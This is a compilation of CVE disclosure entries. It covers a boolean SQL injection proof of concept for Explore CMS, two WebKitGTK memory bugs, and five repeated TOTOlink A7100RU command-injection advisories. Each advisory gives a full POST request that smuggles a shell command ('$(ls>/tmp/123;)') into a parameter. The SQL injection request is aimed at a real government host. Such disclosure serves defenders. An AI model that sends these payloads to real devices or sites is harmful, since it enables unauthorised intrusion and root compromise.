Explore CMS v1.0 was discovered to contain a SQL injection vulnerability via a /page.php?id= request.

    # Exploit Title: explore CMS  - Boolean Based SQL Injection# Date: 19/03/2022# Exploit Author: Sajibe Kanti# Vendor Name : EXPLORE IT# Vendor Homepage: https://exploreit.com.bd# CVE: On Request# POC#SQL InjectionSQL injection is a web security vulnerability that allows an attackerto interfere with the queries that an application makes to itsdatabase.explore CMS is vulnerable to the SQL Injection in 'id' parameter ofthe 'page' page.#Steps to reproduceFollowing URL is vulnerable to SQL Injection in the 'id' field.GET /page.php?id=1%27%20OR%201%3d1%20OR%20%27ns%27%3d%27ns HTTP/1.1Host: www.gdc.gov.bdAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-us,en;q=0.5Cache-Control: no-cacheCookie: PHPSESSID=b4c39f2ff3b9470f39bc088ab9ba9320Referer: https://www.gdc.gov.bd/User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36HTTP/1.1 200 OKcontent-encoding:server: LiteSpeedConnection: Keep-AliveKeep-Alive: timeout=5, max=100content-type: text/html; charset=UTF-8transfer-encoding: chunkeddate: Thu, 17 Mar 2022 07:27:21 GMTvary: Accept-Encoding10.3.34-MariaDBServer accepts the payload and the response get delayed by 7 seconds.#ImpactAn attcker can compromise the database of the application by manualmethod or by automated tools such as SQLmap.-- ThanksSajibe Kanti

CVE-2022-27412: Explore CMS 1.0 SQL Injection ≈ Packet Storm

In WebKitGTK through 2.36.0 (and WPE WebKit), there is a heap-based buffer overflow in WebCore::TextureMapperLayer::setContentsLayer in WebCore/platform/graphics/texmap/TextureMapperLayer.cpp.

CVE-2022-30293: security_advisories/webkitgtk-2.36.0 at master · ChijinZ/security_advisories

In WebKitGTK through 2.36.0 (and WPE WebKit), there is a use-after-free in WebCore::TextureMapperLayer::setContentsLayer in WebCore/platform/graphics/texmap/TextureMapperLayer.cpp.

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CVE-2022-30294: Bug Access Denied

It is found that there is a command injection vulnerability in the setWiFiAdvancedCfg interface in TOTOlink A7100RU (v7.4cu.2313_b20191024) router, which allows an attacker to execute arbitrary commands through a carefully constructed payload.

**TOTOlink A7100RU Command injection vulnerability****Overview**

*   Manufacturer's website information：http://totolink.net/
*   Firmware download address ： http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**2.Vulnerability details**

The program passes the content obtained by the merge parameter to V2, and then brings V2 into UCI\_ Set\_ In str function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

**3.Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V7.4cu.2313\_B20191024
2.  Attack with the following overflow POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 79
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647872744:2
    Connection: close
    
    {"topicurl":"setting/setWiFiAdvancedCfg",
    "merge":"1$(ls>/tmp/123;)"}
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE-2022-28581: IOT_vuln/TOTOLink/A7100RU/9 at main · EPhaha/IOT_vuln

It is found that there is a command injection vulnerability in the setWiFiSignalCfg interface in TOTOlink A7100RU (v7.4cu.2313_b20191024) router, which allows an attacker to execute arbitrary commands through a carefully constructed payload.

**TOTOlink A7100RU Command injection vulnerability****Overview**

*   Manufacturer's website information：http://totolink.net/
*   Firmware download address ： http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**2.Vulnerability details**

The program passes the content obtained by the wscdisabled parameter to the V3 parameter, then assigns V3 to V6, and finally brings V6 to UCI\_ Set\_ In str function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

**3.Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V7.4cu.2313\_B20191024
2.  Attack with the following overflow POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 79
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647872744:2
    Connection: close
    
    {"topicurl":"setting/setWiFiSignalCfg",
    "wscDisabled":"1$(ls>/tmp/123;)"}
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE-2022-28582: IOT_vuln/TOTOLink/A7100RU/6 at main · EPhaha/IOT_vuln

It is found that there is a command injection vulnerability in the setWiFiWpsCfg interface in TOTOlink A7100RU (v7.4cu.2313_b20191024) router, which allows an attacker to execute arbitrary commands through a carefully constructed payload.

**TOTOlink A7100RU Command injection vulnerability****Overview**

*   Manufacturer's website information：http://totolink.net/
*   Firmware download address ： http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**2.Vulnerability details**

The program passes the content obtained by the wscdisabled parameter to the V5 parameter, and then brings V5 into UCI\_ Set\_ STR function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

**3.Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V7.4cu.2313\_B20191024
2.  Attack with the following overflow POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 79
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647872744:2
    Connection: close
    
    {"topicurl":"setting/setWiFiWpsCfg",
    "wscDisabled":"1$(ls>/tmp/123;)"}
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE-2022-28583: IOT_vuln/TOTOLink/A7100RU/7 at main · EPhaha/IOT_vuln

It is found that there is a command injection vulnerability in the setWiFiWpsStart interface in TOTOlink A7100RU (v7.4cu.2313_b20191024) router, which allows an attacker to execute arbitrary commands through a carefully constructed payload.

**TOTOlink A7100RU Command injection vulnerability****Overview**

*   Manufacturer's website information：http://totolink.net/
*   Firmware download address ： http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**2.Vulnerability details**

The program passes the content obtained by htbsscoexistence parameter to V15, and then brings V15 to UCI\_ Set\_ In str function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

**3.Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V7.4cu.2313\_B20191024
2.  Attack with the following overflow POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 79
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647872744:2
    Connection: close
    
    {"topicurl":"setting/setWiFiWpsStart",
    "htBSSCoexistence":"1$(ls>/tmp/123;)"}
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE-2022-28584: IOT_vuln/TOTOLink/A7100RU/8 at main · EPhaha/IOT_vuln

It is found that there is a command injection vulnerability in the setopenvpnclientcfg interface in TOTOlink A7100RU (v7.4cu.2313_b20191024) router, which allows attackers to execute arbitrary commands through a carefully constructed payload

**TOTOlink A7100RU Command injection vulnerability****Overview**

*   Manufacturer's website information：http://totolink.net/
*   Firmware download address ： http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**2.Vulnerability details**

The content obtained by the program through the iptvver parameter is passed to v19, and then v19 is brought into UCI\_ Set\_ Within STR function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

**3.Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V7.4cu.2313\_B20191024
2.  Attack with the following overflow POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 79
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647872744:2
    Connection: close
    
    {"topicurl":"setting/setOpenVpnClientCfg",
    "port":"1$(ls>/tmp/123;)"}
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

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